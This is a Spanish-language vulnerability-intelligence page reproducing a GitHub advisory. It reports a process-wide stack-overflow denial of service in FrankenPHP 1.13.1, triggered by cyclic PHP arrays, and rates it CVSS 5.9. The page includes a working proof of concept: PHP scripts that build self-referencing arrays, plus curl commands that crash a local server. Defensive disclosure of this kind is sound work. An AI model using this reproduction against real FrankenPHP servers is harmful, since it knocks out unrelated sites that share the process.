llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/dunglas/frankenphp

GHSA-CCGP-CH9H-533F

Los arrays cíclicos de PHP provocan un desbordamiento de pila en todo el proceso durante la conversión de PHP a Go

Parche disponible
Descargar PNG JSON
CVSS 3.1
5.9
Media
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición30 dDesde la divulgación, 21 oct 2026, 1:29 p. m.
Detección29 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Si tu inventario está al día, ya ganaste.Un riesgo moderado es un riesgo con modales.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v1.13.2
Monitoreo
Detectada +1
21 oct 26
19 nov 26
21 nov 26
21 oct 26
29 oct 26
6 nov 26
13 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-CCGP-CH9H-533F divulgada · CVSS 5.9 (GitHub)
Remediación Parche v1.13.2 github.com/dunglas/frankenphp · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub
Resumen

El convertidor de arrays de PHP a Go de FrankenPHP no detecta referencias circulares. Pasar un array de PHP autorreferenciado a `frankenphp_log()` o devolverlo desde un callback de worker provoca una recursión sin límite y un desbordamiento de pila fatal en Go, lo que termina todo el proceso de FrankenPHP. Las solicitudes no relacionadas fallan hasta que se reinicia el servidor.

El fallo se puede reproducir en la v1.13.1. Para que se active, la aplicación debe crear o propagar un array cíclico hacia una de estas APIs.

Detalles

En `types.go` https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/types.go#L74-L171, `goArray()` convierte cada elemento del array usando `goValue()`. Cuando el elemento es otro array de PHP, `goValue()` https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/types.go#L273-L358 entra en `GoAssociativeArray()` o `GoPackedArray()` y repite el recorrido. No existe ninguna comprobación de los arrays ya visitados en la ruta de conversión actual, ni un límite de profundidad de recursión.

Se puede llegar a este código desde:

  • `go_log_attrs()` https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/frankenphp.go#L850-L873, que llama a `GoMap[any]()` sobre el contexto suministrado a `frankenphp_log()`.
  • `go_frankenphp_finish_worker_request()` https://github.com/php/frankenphp/blob/99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5/threadworker.go#L279-L289, que llama a `GoValue[any]()` sobre el valor devuelto por el callback de un worker.

Para un array cíclico, el convertidor entra repetidamente en el mismo array de Zend hasta que el runtime de Go aborta:

runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow

El rastreo de pila muestra repetidamente `goValue`, `goArray` y `GoAssociativeArray` en `types.go`. Esto termina el proceso del servidor, en lugar de lanzar una excepción de PHP o devolver un error de conversión.

Prueba de concepto

Probado con el binario oficial de FrankenPHP v1.13.1 para Linux x86_64 (PHP 8.5.11, Caddy 2.11.7), en Ubuntu 24.04. Commit de la versión: `99d4e119ca2e5a90a69d8dbee5d5c9a8016416c5`.

1. `frankenphp_log()`

Crear `public/logging.php`:

<?php
$ctx = ['tag'=>'healthy'];
if (($_GET['case'] ?? '') === 'cyclic') {
    $ctx['self'] = &$ctx;
}
frankenphp_log('independent_recheck_log', 0, $ctx);
header('Content-Type: text/plain');
echo 'logger-ok';

Crear un endpoint no relacionado `public/health.php`:

<?php echo 'healthy';

Iniciar FrankenPHP:

./frankenphp php-server -l 127.0.0.1:18882 -r "$PWD/public"

En otra terminal:

curl -i http://127.0.0.1:18882/logging.php
curl -i http://127.0.0.1:18882/health.php
curl -v 'http://127.0.0.1:18882/logging.php?case=cyclic'
curl -v http://127.0.0.1:18882/health.php

Ambas solicitudes de control devuelven HTTP 200. La solicitud con el array cíclico termina con una respuesta vacía (`curl` código de salida 52). El proceso de FrankenPHP finaliza con el desbordamiento de pila mostrado arriba, y la solicitud de salud posterior falla con `Connection refused` (`curl` código de salida 7).

2. Valor devuelto por el callback de un worker

Crear `public/index.php`:

<?php
$handler = static function (): array {
    header('Content-Type: text/plain');
    echo 'independent-worker-handled';
    if (($_GET['trigger'] ?? '') === 'cycle') {
        $node = ['origin'=>'independent_worker'];
        $node['backref'] = &$node;
        return $node;
    }
    return ['status'=>'ok'];
};
while (frankenphp_handle_request($handler)) {}

Crear `public/status.txt` con el contenido `healthy` e iniciar FrankenPHP en modo worker:

./frankenphp php-server -l 127.0.0.1:18885 -r "$PWD/public" -w "$PWD/public/index.php,1"

En otra terminal:

curl -i http://127.0.0.1:18885/
curl -i http://127.0.0.1:18885/status.txt
curl -v 'http://127.0.0.1:18885/?trigger=cycle'
curl -v http://127.0.0.1:18885/status.txt

La solicitud normal al worker y el archivo estático devuelven HTTP 200. Al devolver el array cíclico, el proceso de FrankenPHP termina con el mismo desbordamiento de pila fatal. La solicitud posterior del archivo estático es rechazada.

Impacto

Se trata de una denegación de servicio a nivel de proceso causada por una recursión sin control en la conversión de PHP a Go. Afecta a las aplicaciones que pasan arrays cíclicos de PHP al contexto de logging o los devuelven desde callbacks de worker. Una sola aparición termina el proceso e interrumpe todas las solicitudes que atiende, incluidas las de sitios o endpoints no relacionados que comparten ese proceso.

La explotación remota depende del comportamiento de la aplicación: los parámetros HTTP habituales no crean directamente ciclos de referencias en PHP. Un atacante remoto necesitaría una ruta accesible que construya o conserve un array de este tipo y lo pase a una API afectada. No he podido establecer esa ruta en una aplicación sin modificar. El impacto demostrado es la pérdida de disponibilidad; no se observó ningún impacto en la confidencialidad ni en la integridad.

El convertidor debería detectar las referencias recursivas (y, preferiblemente, limitar la profundidad de anidamiento) y devolver un error recuperable sin terminar el servidor.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/dunglas/frankenphp≤ 1.13.1
1.13.1
v1.13.6
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/dunglas/frankenphp
Corregida v1.13.2 0 d v1.13.6 no afectada
Versiones corregidasv1.13.2
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/php/frankenphp/security/advisories/GHSA-ccgp-ch9h-533f

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.